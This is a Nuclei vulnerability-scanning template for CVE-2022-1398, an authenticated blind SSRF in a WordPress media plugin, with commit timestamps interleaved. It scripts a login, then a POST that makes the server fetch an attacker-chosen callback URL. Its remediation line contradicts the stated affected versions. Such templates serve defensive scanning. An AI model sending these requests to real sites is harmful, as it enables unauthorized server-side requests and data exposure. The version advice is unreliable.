2023-03-18 22:07:09 +00:00
id : CVE-2022-1398
info :
2023-04-06 21:44:48 +00:00
name : External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery
2023-03-18 22:07:09 +00:00
author : theamanrawat
severity : medium
description : |
2023-04-06 21:44:48 +00:00
WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade to External Media without Import plugin version 1.1.2 or later.
2023-03-18 22:07:09 +00:00
reference :
- https://wpscan.com/vulnerability/5440d177-e995-403e-b2c9-42ceda14579e
- https://wordpress.org/plugins/external-media-without-import/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1398
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score : 6.5
cve-id : CVE-2022-1398
2023-07-11 19:49:27 +00:00
cwe-id : CWE-918
2023-11-27 09:19:41 +00:00
epss-score : 0.00627
epss-percentile : 0.76614
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:external_media_without_import_project:external_media_without_import:*:*:*:*:*:wordpress:*:*
2023-03-18 22:07:09 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : external_media_without_import_project
product : external_media_without_import
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-07-11 19:49:27 +00:00
tags : cve,cve2022,ssrf,wordpress,wp-plugin,wp,wpscan,external-media-without-import,authenticated,intrusive
2023-03-18 22:07:09 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-18 22:07:09 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/upload.php HTTP/1.1
Host : {{Hostname}}
- |
POST /wp-admin/admin-post.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
urls=http%3A%2F%2F{{interactsh-url}}&width=&height=&mime-type=&action=add_external_media_without_import
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
2023-07-11 19:49:27 +00:00
- http
2023-03-18 22:07:09 +00:00
- type : word
part : body_2
words :
2023-07-11 19:49:27 +00:00
- external-media-without-import
2023-11-27 09:19:41 +00:00
# digest: 4b0a00483046022100f9d1baeb7e995522333fcb648df9027b4bcf9470388ecd0722bf50f9479cce85022100c6141696ed91571c3c5f2842225f3c2d2a69691b4473c4557f7cf82dd6899746:922c64590222798bb761d5b6d8e72950